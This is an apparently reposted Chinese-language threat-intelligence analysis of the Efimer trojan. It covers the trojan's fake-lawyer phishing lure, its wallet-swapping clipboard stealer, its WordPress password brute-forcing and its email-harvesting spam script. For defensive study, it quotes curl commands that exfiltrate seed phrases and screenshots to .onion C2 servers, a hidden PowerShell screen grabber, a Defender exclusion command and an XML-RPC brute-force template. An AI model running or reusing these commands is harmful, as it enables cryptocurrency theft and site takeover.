本文作者:公众号 掌控安全EDU

引言

今年 6 月,我们遇到了一场大规模的垃圾邮件活动,攻击者冒充某大型公司的律师,声称收件人的域名侵犯了发件人的权益。这些邮件中包含了 Efimer 恶意脚本,专门用于窃取加密货币。该脚本还具备额外功能,可帮助攻击者通过入侵 WordPress 网站并在其上托管恶意文件等方式进一步传播。

技术细节

背景

今年 6 月,我们发现了一场大规模的垃圾邮件活动,攻击者向大量收件人发送了相同内容的邮件,并附带一个恶意压缩包。该压缩包中包含 Efimer 窃取程序,专门用于窃取加密货币。之所以将该恶意程序命名为 “Efimer”,是因为在其解密脚本的开头注释中出现了该词。该木马的早期版本很可能在 2024 年 10 月左右出现,最初是通过被攻陷的 WordPress 网站传播。虽然攻击者仍在使用这种方式,但在 6 月,他们将传播途径扩展到了电子邮件活动。

脚本带注释的部分

电子邮件传播

用户收到的邮件声称,某大型公司的律师已经审查了收件人的域名,并在其名称中发现了侵犯其注册商标的词语或短语。邮件威胁将采取法律行动,但表示如果域名所有者更改域名,将撤销诉讼。此外,他们甚至表示愿意购买该域名。邮件中从未提及具体的域名,而是声称附件中包含了有关涉嫌侵权的“详细信息”和拟议的收购金额。

示例邮件

在最近的一次网络钓鱼攻击中,目标用户收到了一封带有 ZIP 附件的邮件,附件名为 “Demand_984175” (MD5: e337c507a4866169a7394d718bc19df9)。压缩包内包含一个嵌套的、受密码保护的压缩文件,以及一个名为 “PASSWORD – 47692” 的空文件。值得注意的是,攻击者在密码文件名中使用了一种巧妙的混淆手法:他们并未使用标准的大写字母 “S”,而是使用了 Unicode 字符 U+1D5E6。此类细微变化很可能是为了防止自动化工具轻易从文件名中提取密码。

压缩包内容

如果用户解压受密码保护的压缩文件,就会发现一个名为 “Requirement.wsf” 的恶意文件。运行该文件会使电脑感染 Efimer 木马,并且用户很可能会看到一条错误信息。

错误信息

以下是该感染链的典型流程。当 Requirement.wsf 脚本首次运行时,它会检查是否具有管理员权限。其方法是尝试在 C:\\Windows\\System32\\wsf_admin_test.tmp 创建并写入一个临时文件。如果写入成功,则立即删除该文件。接下来发生的事情取决于用户的权限级别:

如果脚本以特权用户身份执行,它会将 C:\\Users\\Public\\controller 文件夹添加到 Windows Defender 杀毒软件的排除列表中,该文件夹随后会被用来存储各种文件。同时,它还会将当前正在运行的 WSF 脚本的完整路径,以及系统进程 C:\\Windows\\System32\\exe 和 C:\\Windows\\System32\\cmd.exe 添加到排除列表中。随后,脚本会将两个文件保存到上述路径:“controller.js”(包含 Efimer 木马)和 “controller.xml”。最后,它会使用 controller.xml 中的配置在 Windows 中创建一个计划任务。

如果脚本以受限用户权限运行,则只会将 controller.js 文件保存到相同路径,并在注册表项 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\controller 中添加参数,以实现控制器的自动启动。随后,控制器会通过 WScript 工具启动。

随后,脚本会使用 WScript 方法显示一个错误消息对话框,然后退出。这一设计旨在误导用户,让其误以为会打开某个应用程序或文档,而实际上并不会发生任何有用的事情。

Efimer 木马

controller.js 脚本是一种 ClipBanker 类型的木马。它的作用是将用户复制到剪贴板中的加密货币钱包地址替换为攻击者自己的地址。除此之外,它还能够运行直接从其命令与控制服务器接收到的外部代码。

该木马会首先通过 WMI 检查任务管理器是否正在运行。

如果任务管理器正在运行,脚本会立即退出以避免被检测到。然而,如果任务管理器未运行,脚本则会继续在受害者的计算机上安装 Tor 代理客户端,该客户端用于与 C2 服务器进行通信。

脚本内硬编码了多个用于下载 Tor 的 URL,这样即使某个 URL 被屏蔽,恶意软件仍可通过其他地址获取 Tor 软件。我们分析的样本中包含以下 URL:

https://inpama[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://www.eskisehirdenakliyat[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://ivarchasv[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://echat365[.]com/wp-content/plugins/XZorder/ntdlg.dat
https://navrangjewels[.]com/wp-content/plugins/XZorder/ntdlg.dat

从其中一个 URL 下载的文件(A46913AB31875CF8152C96BD25027B4D)是 Tor 代理服务。木马会将其保存到 C:\\Users\\Public\\controller\\ntdlg.exe。如果下载失败,脚本会直接终止运行。

在下载成功的情况下,脚本会借助 WScript 启动该文件,然后暂停 10 秒。这一延迟很可能是为了让 Tor 服务建立与洋葱网络的连接并完成初始化。接着,脚本会尝试从 C:\\Users\\Public\\controller\\GUID 读取一个 GUID。如果找不到该文件,则会通过 createGUID() 生成一个新的 GUID,并将其保存到指定路径。

GUID 的格式始终为 vs1a-<4 个随机十六进制字符>,例如 vs1a-1a2b。

随后,脚本会尝试从 C:\\Users\\Public\\controller\\SEED 加载名为 “SEED” 的文件。该文件中包含脚本收集到的加密货币钱包助记词。稍后我们会详细介绍它是如何查找并保存这些助记词的。如果发现 SEED 文件,脚本会将其发送到服务器,然后删除该文件。这一行为是基于脚本可能在此前异常终止,从而未能将助记词发送到服务器的假设。为了避免在出现错误时丢失已收集的数据,恶意软件会在尝试传输之前先将其保存到文件中。

至此,控制器完成初始化流程,进入主运行循环。

主循环

在每一个运行周期中,控制器都会每隔 500 毫秒检查一次任务管理器是否正在运行。如果发现任务管理器运行,则立即退出进程。

如果脚本未终止,它会开始通过 Tor 网络 ping C2 服务器。为此,脚本会向服务器发送一个包含 GUID(全局唯一标识符)的请求,服务器的响应将是一个命令。为了既保持与服务器的持续通信,又避免因请求过于频繁而引起怀疑,脚本使用了一个计时器(p_timer 变量)。

正如我们所见,每隔 500 毫秒(半秒),在检查任务管理器是否运行之后,p_timer 的值会减 1。当该变量减至 0(首次运行时也是 0)时,计时器会按以下公式重置:将数值为 1800 的 PING_INT 变量乘以 2,并将结果存入 p_timer。这样在下一次更新前会有 1800 秒,也就是 30 分钟的间隔。计时器更新后,会调用 PingToOnion 函数,我们接下来会讨论它的工作原理。许多类似的恶意软件会不断向网络发送请求,频繁访问它们的 C2 服务器以获取命令,这种行为很容易暴露。而使用计时器则能让脚本在保持与服务器连接的同时不易被察觉。每半小时才发一次请求,使其在整体流量中更难被发现。

PingToOnion 函数与 CheckOnionCMD 协同工作。在 PingToOnion 中,脚本会使用 curl 工具向 C2 服务器发送一个 POST 请求,并通过位于 localhost:9050 的 Tor 代理进行路由,请求地址为:

http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php

服务器的响应会被保存到用户的 %TEMP% 目录下,路径为 %TEMP%\cfile。

curl -X POST -d "' + _0x422bc3 + '" --socks5-hostname localhost:9050 ' + PING_URL + ' --max-time 30 -o ' + tempStrings + '\\cfile

向服务器发送请求后,CheckOnionCMD 会立即启动。它的作用是检查位于 %TEMP% 目录下名为 “cfile” 的文件中是否有服务器响应。如果响应中包含 GUID 命令,恶意软件不会执行任何操作。这很可能是服务器的 PONG 响应,用于确认与 C2 服务器的连接仍然正常。然而,如果响应的第一行包含 EVAL 命令,则表示随后的所有行都是 JavaScript 代码,这些代码会通过 eval 函数执行。

无论服务器的响应如何,木马接着会针对受害者的剪贴板数据。其主要目标是嗅探助记词,并将复制的加密货币钱包地址替换为攻击者自己的地址。

首先,它会扫描剪贴板中看起来像助记词(种子词)的字符串。

如果发现任何助记词,这些词会被保存到名为 “SEED” 的文件中(类似于木马启动时读取的文件)。然后,该文件会通过上述 PingToOnion 函数使用 SEED 参数发送到服务器。发送完成后,SEED 文件会被删除。脚本随后会截取五张屏幕截图(很可能是为了捕捉助记词的使用情况),并同样发送到服务器。

这些截图是通过以下 PowerShell 命令捕获的:

powershell.exe -NoProfile -WindowStyle Hidden -Command "$scale = 1.25; Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $sw = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width; $sh = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height; $w = [int]($sw * $scale); $h = [int]($sh * $scale); $bmp = New-Object Drawing.Bitmap $w, $h; $g = [Drawing.Graphics]::FromImage($bmp); $g.ScaleTransform($scale, $scale); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save(\'' + path.replace(/\\/g, '\\\\') + '\', [Drawing.Imaging.ImageFormat]::Png); ' + '$g.Dispose(); $bmp.Dispose();"

FileToOnion 函数负责将文件发送到服务器。它接受两个参数:文件本身(在此例中为截图)以及需要上传到的路径。

截图会被发送到服务器上的以下路径:

http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/recvf.php

文件也通过 curl 命令发送:

curl -X POST -F "file=@' + screenshot + '" ' + '-F "MGUID=' + GUID + '" ' + '-F "path=' + path + '" ' + '--socks5-hostname localhost:9050 "' + FILE_URL + '"

在发送文件后,脚本会闲置 50 秒。随后,它开始替换加密货币钱包地址。如果剪贴板内容仅包含数字、大小写英文字母,且至少包含一个字母和一个数字,脚本会进行额外检查,以判断其是否为比特币、以太坊或门罗币钱包地址。如果在剪贴板中找到匹配的钱包地址,脚本会按以下逻辑进行替换:

  • • 短比特币钱包地址(以 “1” 或 “3” 开头,长度为 32–36 个字符)会被替换为首两个字符与原地址相同的钱包地址。
  • • 长钱包地址(以 “bc1q” 或 “bc1p” 开头,长度为 40–64 个字符)会被替换为末尾字符与原地址相同的替代地址。

如果钱包地址以 “0x” 开头,且长度在 40 到 44 个字符之间,脚本会将其替换为恶意软件中硬编码的多个以太坊钱包之一。其目的是确保替换后的地址前三个字符与原地址一致。

对于以 “4” 或 “8” 开头、长度为 95 个字符的门罗币地址,攻击者使用一个预定义的单一地址。与其他类型的钱包类似,脚本会检查原地址与替换地址之间的匹配字符。对于门罗币,仅需确保首字符匹配。这意味着木马只会替换以 “4” 开头的门罗币钱包地址。

这种剪贴板替换通常通过以下命令执行:

cmd.exe /c echo|set/p= + new_clipboard_data + |clip

每次替换后,脚本都会将原钱包和替换钱包的信息发送到服务器。

通过被攻陷的 WordPress 网站传播

如上所述,除了通过电子邮件传播,木马还会通过被攻陷的 WordPress 网站扩散。攻击者会搜索安全性较差的网站,对其密码进行暴力破解,然后发布提供最新电影下载的帖子。这些帖子中包含指向受密码保护压缩包的链接,压缩包内包含一个种子文件。

以下是 https://lovetahq[.]com/sinners-2025-torent-file/ 上此类帖子的示例:

该种子文件会将一个文件夹下载到设备中。该文件夹包含一个看起来像 XMPEG 格式电影的文件、一个名为 “readme !!!.txt” 的文本文件,以及一个伪装成媒体播放器的可执行文件。

下载的文件

为了观看 XMPEG 格式的电影,用户似乎需要启动 xmpeg_player.exe。然而,该可执行文件实际上是 Efimer 木马安装程序的另一个版本。与 WSF 变种类似,该 EXE 安装程序会将木马的主组件解压到 C:\\Users\\Public\\Controller 文件夹中,但命名为 “ntdlg.js”。除了木马外,安装程序还会解压 Tor 代理客户端,命名为 “ntdlg.exe”。然后,安装程序会使用 PowerShell 将脚本添加到启动程序,并将 “Controller” 文件夹添加到 Windows Defender 排除列表中。

cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Controller\'

解压出的木马几乎与通过电子邮件传播的版本相同。不过,这个版本的代码除了比特币、以太坊和门罗币钱包外,还包含伪造的 Tron 和 Solana 钱包。此外,该版本的 GUID 以 “vt05” 开头。

附加脚本

在一些被攻陷的机器上,我们发现了若干其他有趣的脚本,它们与前述的 .onion 域名进行通信。我们认为攻击者是通过 eval 命令安装这些脚本,以便从其 C2 服务器执行有效载荷。

WordPress 网站入侵

在这些附加脚本中,我们发现了一个名为 “btdlg.js” 的文件(MD5: 0f5404aa252f28c61b08390d52b7a054)。该脚本旨在对 WordPress 网站进行密码暴力破解。

执行后,它会生成一个唯一的用户 ID,例如 fb01-<4 个随机十六进制字符>,并将其保存到 C:\\Users\\Public\\Controller\\。

然后,脚本会启动多个进程,对网页进行暴力破解攻击。负责这些攻击的代码嵌入在主循环之前的同一脚本中。要触发此功能,脚本必须使用参数 “B” 执行。在其主循环中,脚本会通过调用 _runBruteProc 函数并传入参数 “B” 来启动自身。

暴力破解攻击完成后,脚本会返回主循环。在此过程中,它会继续生成新的进程,直到达到硬编码的最大数量 20。

因此,该脚本支持两种模式——暴力破解模式和主模式,后者负责初始启动。如果脚本在没有任何参数的情况下启动,它会立即进入主循环。从此,它会以 “B” 参数启动自身的新实例,从而开始暴力破解攻击。

脚本的运行周期包括暴力破解代码及其核心逻辑的处理器。

暴力破解过程通过 GetWikiWords 函数启动:脚本从维基百科获取一个单词列表。然后使用该列表识别新的暴力破解目标网站。如果脚本未能获取单词列表,它会等待 30 分钟后再次尝试。

然后脚本进入其主运行循环。每 30 分钟,它会向 C2 服务器发起一次请求。这通过 PingToOnion 方法完成,该方法与其他脚本中同名的方法一致。它发送一个 BUID 命令,传输一个唯一的用户 ID 以及暴力破解统计信息,包括攻击的域名总数,以及成功和失败攻击的数量。

之后,脚本使用 GetRandWords 函数生成一个来源于维基百科的随机单词列表。

最后,脚本使用这些来自维基百科的随机单词作为搜索参数,通过 getSeDomains 函数在 Google 和 Bing 上搜索用于暴力破解攻击的目标域名。

getSeDomains 函数的部分内容

ObjID 函数计算一个八位十六进制哈希值,作为特殊对象(obj_id)的唯一标识符。在这里,特殊对象是包含暴力破解信息的文件。这些信息包括用于密码猜测的用户列表、暴力破解尝试的成功/失败标记以及其他与脚本相关的数据。对于每个不同的域名,这些数据都会保存到单独的文件中。然后脚本会检查该标识符是否之前出现过。所有唯一标识符都存储在名为 “UDBXX.dat” 的文件中。脚本会在文件中搜索新的标识符,如果没有找到,则将其添加。该标识符跟踪有助于节省时间,避免对已知域名的重复处理。

对于每个新域名,脚本会使用 WPTryPost 函数发起请求。这是一个 XML-RPC 函数,尝试使用潜在的用户名和密码创建测试帖子。创建帖子的命令如下所示:

<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>' + %LOGIN%+ '</string></value></param>' + '<param><value><string>' + %PASSWORD%+ '</string></value></param>' + '<param><value><struct>' + '<member>' + '<name>title</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>description</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_keywords</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_excerpt</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '</struct></value></param>' + '<param><value><boolean>1</boolean></value></param>' + '</params>' + '</methodCall>

当 XML-RPC 请求得到响应后,无论成功与否,WPGetUsers 函数会启动,从该域名获取用户。该函数访问域名的 /wp-json/wp/v2/users,期望返回 WordPress 网站用户列表。

这个用户列表连同域名以及用于跟踪已暴力破解用户和密码数量的计数器,会被写入前面提到的特殊对象文件。该文件的 ID 是通过 ObjID 计算得到的。在处理完一个页面后,脚本会休眠五秒钟,然后再处理下一个页面。

与此同时,受害者计算机上会并行运行多个进程,全部执行暴力破解操作。如前所述,当脚本使用 “B” 参数启动时,它会进入无限暴力破解循环,每个进程独立处理自己的目标。在每次迭代开始时,会随机暂停 1–2 秒。这一延迟有助于错开请求的启动时间,使活动更难被检测到。随后,进程通过调用 ObjGetW 从 C:\\Users\\Public\\Controller\\objects 中获取一个随机的对象文件 ID 进行处理。

ObjGetW 函数会获取一个当前未被暴力破解进程占用的随机域对象。被锁定的文件会以 LOCK 扩展名标记。一旦选中一个可用的随机域进行暴力破解,就会调用 lockObj 函数,将文件扩展名改为 LOCK,以防其他进程尝试处理它。如果所有对象都被锁定,或者选中的对象无法被锁定,脚本会进入下一次循环并重试,直到找到可用的文件。如果文件成功被获取用于处理,脚本会从中提取数据,包括域名、密码暴力破解计数器以及用户列表。

根据这些计数器的数值,脚本会检查是否已尝试完所有组合,或者失败尝试次数是否超过最大值。如果尝试已用尽,该对象会被删除,进程进入新的迭代。如果仍有尝试次数,脚本会尝试使用硬编码密码进行身份验证。

在尝试为每个用户猜测密码时,会通过 WPTryPost 函数发送网页 POST 请求。根据暴力破解的结果,会调用 ObjUpd 来更新当前域名及特定用户名-密码组合的状态。

状态更新后,该对象会被解锁,进程会随机暂停,然后继续循环处理新的目标。这保证了持续的多线程凭证暴力破解,同时该过程由脚本控制,并记录在一个特殊文件中。此日志记录可以防止脚本在崩溃后从头开始运行。

成功猜测出的密码会通过 GOOD 命令发送到 C2。

Efimer 的另一版本

我们还发现了另一个名为 “assembly.js” 的脚本(MD5: 100620a913f0e0a538b115dbace78589)。虽然功能上与 controller.js 和 ntdlg.js 类似,但存在几个显著差异。

与第一个脚本类似,该脚本属于 ClipBanker 类型。与其前身一样,该恶意软件变种会读取唯一用户 ID。这次它会在 C:\\Users\\Public\\assembly\\GUID 查找该 ID。如果找不到或无法读取,就会生成一个新的 ID。这个新 ID 的格式为 M11-XXXX-YYYY,其中 XXXX 和 YYYY 是随机的四位十六进制数。接下来,脚本会检查自己是否运行在虚拟机环境中。

如果检测到虚拟机,它会在 GUID 字符串前加上 “V”;否则,使用 “R”。随后,存放 GUID 的目录(似乎是脚本的主工作目录)会被隐藏。

随后,会在同一目录下保存一个名为 “lptime” 的文件。该文件存储的是当前时间减去 21,000 秒后的值。完成这些初始设置步骤后,恶意软件进入其主运行循环。它首先会检查 “lptime” 文件中存储的时间。如果当前时间与文件中的时间差超过 21,600 秒,它就开始准备要发送到服务器的数据。

接着,脚本尝试读取名为 “geip” 的文件,预期路径为 C:\\Users\\Public\\assembly\\geip。该文件包含被感染设备的国家和 IP 地址信息。如果文件不存在,脚本会从 https://ipinfo.io/json 获取信息并保存。随后,它会启动位于 C:\\Users\\Public\\assembly\\upsvc.exe 的 Tor 服务。

之后,脚本使用 GetWalletsList 函数定位加密货币钱包,并汇总其发现的列表。

它优先扫描 Google Chrome 和 Brave 的浏览器扩展目录,以及脚本中硬编码的特定加密货币钱包应用程序的文件夹。

随后,脚本会从 C:\\Users\\Public\\assembly 读取一个名为 “data” 的文件。该文件通常包含之前在剪贴板中搜索助记词的结果。最后,脚本将该文件中的数据以及从应用程序文件夹中发现的加密货币钱包发送到 C2 服务器:

http://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion/assembly/route.php

在脚本发送数据后,它会使用 CheckOnionCMD 函数验证服务器的响应,该函数与其他脚本中的函数类似。服务器的响应可能包含以下命令之一:

RPLY 返回 “OK”。此响应仅在加密货币钱包发送后收到,表示服务器已成功接收数据。如果服务器返回 “OK”,旧的数据文件会被删除。但如果传输失败(未收到响应),文件不会被删除。这确保了即使 C2 服务器暂时不可用,积累的钱包数据在重新建立通信后仍能发送。

EVAL 执行响应中提供的 JavaScript 脚本。

KILL 完全移除恶意软件的所有组件并终止其运行。

接着,脚本会扫描剪贴板,寻找类似助记词和加密货币钱包地址的字符串。

任何发现的数据随后会使用密钥 $@#LcWQX3$ 进行 XOR 加密,并保存到名为 “data” 的文件中。完成这些步骤后,整个循环重复进行。

“Liame” 邮箱地址收集脚本

该脚本作为另一种间谍程序运行,与我们之前讨论的其他脚本非常相似,但其目的完全不同。它的主要目标是从指定网站收集邮箱地址并发送到 C2 服务器。脚本从 C2 接收目标网站列表作为命令。下面详细说明其功能。

启动时,脚本首先检查主工作目录(位于 C:\\Users\\Public\\Controller\\LUID)中是否存在 LUID(当前系统的唯一标识符)。如果找不到 LUID,它会通过类似其他脚本的函数创建一个。在此情况下,唯一标识符的格式为 fl01-<4 个随机十六进制字符>。

接着,checkUpdate() 函数运行。该函数检查 C:\\Users\\Public\\Controller\\update_l.flag 文件是否存在。如果文件存在,脚本会等待 30 秒,然后删除 update_l.flag 并终止运行。

随后,脚本会定期(每 10 分钟)向服务器发送请求以接收命令。它使用名为 PingToOnion 的函数,该函数与其他脚本中同名函数类似。

请求包含以下参数:

  • • LIAM:唯一标识符
  • • action:请求类型
  • • data:与请求类型对应的数据

在代码的这一部分,LIAM 字符串被用作 action,而 data 参数则包含收集到的邮箱数量以及脚本的运行统计信息。

如果脚本因错误意外终止,它可以发送日志信息,除了统计数据外,其中 action 参数将包含 LOGS 字符串,data 参数则包含错误信息。

请求会发送到以下 C2 地址:

http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php

服务器返回一个类似 JSON 的结构,随后由下一个函数进行解析。

该结构指示脚本应执行的命令。

该脚本支持两种主要功能:

从服务器提供的域名中获取邮箱地址列表

脚本接收域名,并对每个域名进行迭代,以在网页上查找超链接和邮箱地址。

GetPageLinks 函数解析网页的 HTML 内容,并提取所有位于与原始页面相同域名下的链接。然后,该函数会对这些链接进行筛选,仅保留指向 HTML/PHP 文件或无扩展名文件的链接。

PageGetLiame 函数从页面的 HTML 内容中提取邮箱地址。它可以处理公开显示的地址,也可以处理封装在 mailto 链接中的地址。

在完成初步收集后,脚本会重新访问 C2 提供域名上先前收集的所有链接,继续搜索更多的邮箱地址。最后,脚本会对收集到的邮箱地址列表进行去重,并保存以备后用。

将收集的数据传出到服务器

在此情况下,脚本预期从 C2 服务器的响应中收到两个参数:pstack 和 buffer,其中:

  • • pstack 是一个域名数组,后续的 POST 请求将发送到这些域名;
  • • buffer 是一个字符串数组,每个字符串包含的数据格式为 address,subject,message。

脚本会从 pstack 中随机选择一个域名,然后将 buffer 参数中的一个字符串上传到该域名。这部分脚本很可能作为垃圾邮件模块运行,用于填写目标网站的表单。对于每个通过 POST 请求成功提交到特定域名的数据,脚本会更新其统计信息(前文提到的),记录该域名的成功传输数量。

如果在此循环中发生错误,脚本会捕获错误,并使用 LOGS 命令向 C2 服务器报告。

在整个代码中,你会频繁看到 “Liame” 这个词,它只是 “Email” 的反写。同样,诸如 “Liama”、“Liam” 和 “Liams” 等变体也存在,很可能是从 “Liame” 派生而来。这种代码中的“文字游戏”几乎可以肯定是为了掩盖其功能的恶意意图。例如,不是直接使用清晰的 “PageGetEmail” 函数名,而是使用 “PageGetLiame”。


总结

Efimer 特洛伊木马结合了多种严重威胁。虽然其主要目标是窃取和交换加密货币钱包,但它也可以利用额外脚本来入侵 WordPress 网站并分发垃圾邮件。这使它能够建立完整的恶意基础设施,并传播到新的设备。

该木马的另一个有趣特性是,它试图在个人用户和企业环境中传播。在第一种情况下,攻击者使用种子文件作为诱饵,声称可以下载热门电影;在另一种情况下,他们声称目标公司未经授权使用了其他公司注册的词语或短语。

需要注意的是,在这两种情况下,感染仅在用户自行下载并运行恶意文件时才可能发生。为了防范此类威胁,我们建议用户避免从未知或可疑来源下载种子文件,始终验证电子邮件发送者,并持续更新杀毒数据库。

对于网站开发者和管理员来说,实施防护措施以保护资源免受入侵和恶意软件分发至关重要。这包括定期更新软件、使用强密码(非默认密码)和双因素认证,以及持续监控网站是否存在入侵迹象。

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关    

网络安全学习路线/web安全入门/渗透测试实战/红队笔记/黑客入门


感谢各位看官看到这里,欢迎一键三连(点赞+关注+收藏)以及评论区留言,也欢迎查看我主页的个人简介进行咨询哦,我将持续分享精彩内容~

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐